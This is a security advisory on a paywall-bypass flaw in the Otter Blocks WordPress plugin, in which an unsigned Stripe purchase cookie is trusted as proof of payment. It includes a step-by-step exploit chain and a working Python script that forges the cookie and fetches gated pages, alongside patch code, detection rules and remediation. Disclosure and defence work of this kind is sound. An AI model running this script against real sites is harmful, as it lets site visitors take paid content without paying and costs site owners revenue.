# WordPress Plugin Lets People Steal Paid Content For Free
A popular WordPress plugin called Otter Blocks has a serious flaw that lets people access paid content without paying for it. Think of it like a store that checks whether you've bought something by looking at a sticky note you're carrying — except anyone can just write their own sticky note.
Here's how it works. When someone buys a digital product through Stripe (a payment processor), the plugin is supposed to verify they actually paid. But instead of checking with Stripe's servers to confirm the purchase really happened, it just trusts a piece of data stored on the person's computer called a cookie. An attacker can forge this cookie — essentially creating a fake receipt — and the plugin accepts it as proof of payment.
This matters because website owners who sell digital products, courses, ebooks, or exclusive content through Otter Blocks could lose revenue. Visitors can just trick the system into thinking they bought something when they didn't. It's like someone walking into a concert and printing a fake ticket that the bouncer accepts because he doesn't actually call the box office to check.
The plugin affects websites running versions 3.1.4 and earlier. While there's no evidence of widespread attacks yet, it's the kind of vulnerability that's relatively easy to exploit once someone figures it out.
If you run a WordPress site using Otter Blocks, update the plugin immediately to version 3.1.5 or later. Check your recent transactions to see if anyone accessed paid content without legitimate payment. Finally, consider using additional security plugins that monitor suspicious access patterns.
Want the full technical analysis? Click "Technical" above.
CVE-2026-2892 is a purchase verification bypass in the Otter Blocks WordPress plugin (all versions ≤ 3.1.4), maintained by ThemeIsle. The plugin exposes a Stripe-gated content feature via its checkout block: site owners can restrict block visibility to users who have completed a Stripe purchase of a specific product. The enforcement mechanism relies on a client-supplied, cryptographically unsigned cookie named o_stripe_data. An unauthenticated attacker who knows a target product ID — trivially obtained from the checkout block's rendered HTML — can forge this cookie to claim ownership of any Stripe product and bypass the paywall entirely.
CVSS 7.5 (HIGH) — Network / Low complexity / No privileges / No user interaction / High confidentiality impact. No authentication required. No exploitation in the wild as of disclosure.
Affected Component
The vulnerability lives inside the Stripe integration service class. Based on plugin source structure, the relevant file is plugins/otter-blocks/inc/server/class-stripe-checkout-server.php (or equivalent namespace path under ThemeIsle\OtterBlocks). Two methods interact to produce the vulnerability:
get_customer_data() — reads and deserializes the o_stripe_data cookie to reconstruct "customer state" for unauthenticated users.
check_purchase() — evaluates whether the current visitor owns a specific product; calls get_customer_data() and compares product IDs without re-validating against Stripe's API for payment mode (one-time purchase) sessions.
Root Cause Analysis
The checkout block supports two Stripe session modes: subscription and payment. For subscription mode, the plugin appears to validate against Stripe's API (subscription status is mutable and must be checked). For one-time payment mode, the plugin short-circuits this API call and trusts the cookie alone, because a completed payment is "final" — a flawed assumption that ignores the attacker's ability to write the cookie themselves.
/**
* Reconstructed pseudocode — class Stripe_Checkout_Server
* File: inc/server/class-stripe-checkout-server.php
* Affected versions: <= 3.1.4
*/
// Reads the o_stripe_data cookie and returns decoded customer state.
// BUG: no signature verification, no HMAC, no nonce — pure client-controlled input
array get_customer_data() {
raw_cookie = $_COOKIE['o_stripe_data']; // attacker-controlled
decoded = base64_decode(raw_cookie); // trivially reversible encoding
data = json_decode(decoded, assoc=true); // structured attacker input
// No integrity check performed here.
// Returns data as if it were authoritative server state.
return data;
}
// Determines whether the current visitor owns a given product.
bool check_purchase(string product_id, string mode) {
customer = get_customer_data(); // tainted: cookie-sourced
if (mode == 'payment') {
// BUG: for one-time payment mode, server trusts cookie contents directly.
// No Stripe API call. No session ID verification. No server-side record lookup.
purchased_ids = customer['products']; // attacker-controlled array
return in_array(product_id, purchased_ids); // trivially satisfied by forged cookie
}
if (mode == 'subscription') {
// Subscription path does contact Stripe API — not vulnerable.
sub_id = customer['subscription_id'];
return verify_subscription_via_api(sub_id, product_id);
}
return false;
}
// Content visibility gating — called during block render
void render_gated_content(block_attrs, content) {
product_id = block_attrs['stripeProductId']; // exposed in HTML source
mode = block_attrs['mode']; // 'payment' or 'subscription'
if (!check_purchase(product_id, mode)) {
// BUG: check_purchase returns true for forged cookie — content rendered
render_locked_placeholder();
return;
}
echo content; // paywalled content fully rendered to attacker
}
Root cause:check_purchase() exits the payment mode branch after evaluating attacker-controlled cookie data without performing any server-side verification against the Stripe API, allowing arbitrary product ownership claims.
The product ID required to forge the cookie is not a secret. The checkout block renders it into the page's HTML as a data- attribute or inline JSON config passed to the block's React frontend, making reconnaissance a single page load.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker loads any page containing an Otter Blocks checkout block.
2. Inspect page source; extract stripeProductId from block HTML:
3. Construct forged customer data JSON:
{"products":["prod_XXXXXXXXXXXXXXXX"],"email":"attacker@evil.com"}
4. Base64-encode the JSON payload.
5. Set o_stripe_data cookie to the encoded value in browser or via curl.
6. Request the page containing the gated content block.
7. Server calls check_purchase("prod_XXXXXXXXXXXXXXXX", "payment").
8. get_customer_data() deserializes attacker cookie; returns forged product list.
9. in_array() returns true; gated content rendered in HTTP response.
10. Attacker reads paywalled content without any Stripe transaction.
The attack is fully automatable with a single curl invocation once the product ID is known:
#!/usr/bin/env python3
"""
CVE-2026-2892 — Otter Blocks o_stripe_data forger
Usage: python3 exploit.py https://target.example.com/gated-page prod_XXXXXXXXXXXXXXXX
"""
import sys, base64, json, requests
def forge_cookie(product_id: str) -> str:
payload = {
"products": [product_id],
"email": "bypass@attacker.invalid",
"session": "cs_forged_000000000000000"
}
encoded = base64.b64encode(json.dumps(payload).encode()).decode()
return encoded
def extract_product_id(url: str) -> str | None:
r = requests.get(url, timeout=10)
# Product ID is embedded in block markup as data attribute or wp.data store.
import re
match = re.search(r'data-product-id="(prod_[A-Za-z0-9]+)"', r.text)
return match.group(1) if match else None
def main():
url = sys.argv[1]
product_id = sys.argv[2] if len(sys.argv) > 2 else extract_product_id(url)
if not product_id:
print("[-] Could not locate product ID in page source.")
sys.exit(1)
print(f"[+] Target product: {product_id}")
cookie_val = forge_cookie(product_id)
print(f"[+] Forged cookie: o_stripe_data={cookie_val}")
r = requests.get(url, cookies={"o_stripe_data": cookie_val}, timeout=10)
if "wp-block-themeisle-blocks-stripe-checkout" in r.text:
print("[+] Gated content block present in response — bypass successful.")
else:
print("[-] Block not found; target may be patched or product ID incorrect.")
# Dump first 2000 chars of response for review
print(r.text[:2000])
if __name__ == "__main__":
main()
Memory Layout
This is a logic vulnerability rather than a memory corruption bug; no heap corruption occurs. The "state" being manipulated is PHP's cookie superglobal and the deserialized array derived from it. The relevant data flow through PHP's runtime is:
PHP REQUEST STATE — VULNERABLE PATH (payment mode):
$_COOKIE['o_stripe_data']
└─ raw value: "eyJwcm9kdWN0cyI6WyJwcm9kX1hYWFhYWFhYWFhYWFhYWCJdfQ=="
↑ base64({"products":["prod_XXXXXXXXXXXXXXXX"]})
base64_decode()
└─ string: {"products":["prod_XXXXXXXXXXXXXXXX"],"email":"..."}
json_decode(assoc=true)
└─ PHP array:
[products] => Array
[0] => "prod_XXXXXXXXXXXXXXXX" ← attacker-controlled
[email] => "attacker@evil.com"
check_purchase("prod_XXXXXXXXXXXXXXXX", "payment")
└─ in_array("prod_XXXXXXXXXXXXXXXX", ["prod_XXXXXXXXXXXXXXXX"])
└─ returns: TRUE ← gated content unlocked, no API call made
EXPECTED STATE (post-patch, subscription path analogy):
└─ Stripe API: GET /v1/payment_intents?customer=...&product=prod_XX...
└─ verified server-side before trusting any client claim
Patch Analysis
The correct fix requires that check_purchase() in payment mode performs server-side verification against Stripe's API using the session or payment intent ID stored in the cookie, treating cookie data as an untrusted hint rather than authoritative state. The session ID itself should additionally be bound to a server-side record (e.g., stored in a WordPress transient or user meta after successful checkout webhook delivery) to prevent session ID guessing.
// BEFORE (vulnerable, <= 3.1.4):
bool check_purchase(string product_id, string mode) {
customer = get_customer_data(); // unsigned cookie, fully trusted
if (mode == 'payment') {
purchased_ids = customer['products'];
return in_array(product_id, purchased_ids); // BUG: no API verification
}
// ...
}
// AFTER (patched, recommended):
bool check_purchase(string product_id, string mode) {
customer = get_customer_data(); // still reads cookie, but as hint only
if (mode == 'payment') {
session_id = customer['session']; // e.g. "cs_live_..."
// Reject obviously forged or missing session IDs early
if (empty(session_id) || !str_starts_with(session_id, 'cs_')) {
return false;
}
// Server-side verification: check transient set by Stripe webhook
// Webhook handler stores: set_transient("otter_paid_{session_id}", product_id, 86400)
verified_product = get_transient("otter_paid_" + session_id);
if (verified_product === false) {
// Transient missing — fall back to live Stripe API call
verified_product = fetch_product_from_stripe_session(session_id);
// Cache result to avoid repeated API calls
if (verified_product) {
set_transient("otter_paid_" + session_id, verified_product, 86400);
}
}
return (verified_product === product_id); // server-authoritative comparison
}
// subscription path unchanged...
}
// get_customer_data() should additionally HMAC-sign the cookie on write:
string write_customer_cookie(array data) {
json = json_encode(data);
sig = hash_hmac('sha256', json, wp_salt('auth')); // WordPress secret key
payload = base64_encode(json) + '.' + sig;
setcookie('o_stripe_data', payload, secure=true, httponly=true, samesite='Strict');
}
array get_customer_data() {
raw = $_COOKIE['o_stripe_data'];
parts = explode('.', raw, limit=2);
if (count(parts) != 2) return [];
json = base64_decode(parts[0]);
sig = parts[1];
expected = hash_hmac('sha256', json, wp_salt('auth'));
// BUG fixed: reject any cookie whose signature does not match
if (!hash_equals(expected, sig)) return [];
return json_decode(json, assoc=true);
}
Detection and Indicators
Detection should focus on anomalous o_stripe_data cookie traffic:
WAF rule: flag requests where Cookie: o_stripe_data= is present on pages that have no preceding Stripe checkout redirect (i.e., no Referer from checkout.stripe.com in the session).
Access log pattern: repeated requests to gated-content URLs with a o_stripe_data cookie but no associated Stripe session record in WordPress options/transients.
WordPress audit log: if a security audit plugin is active, look for unauthenticated access to posts/pages tagged with Otter Blocks stripe checkout blocks.
Note: legitimate post-checkout cookies issued by the plugin prior to the patch will also match the unsigned base64 pattern. Correlate against absence of a corresponding Stripe webhook delivery record for definitive identification.
Remediation
Update immediately to Otter Blocks > 3.1.4 once a patched release is available from ThemeIsle.
If update is not immediately possible: disable the Stripe checkout block feature via plugin settings, or remove checkout blocks from all posts/pages until patched.
Implement Stripe webhooks (checkout.session.completed) to maintain a server-side record of completed payment sessions; do not rely on client state for access control decisions.
Rotate WordPress secret keys (wp-config.php salts) after patching if HMAC-signed cookies are introduced, to invalidate any forged cookies cached in attacker tooling.
Content audit: review server access logs for the period ≤ 3.1.4 was installed to identify whether gated content was accessed without valid Stripe transactions.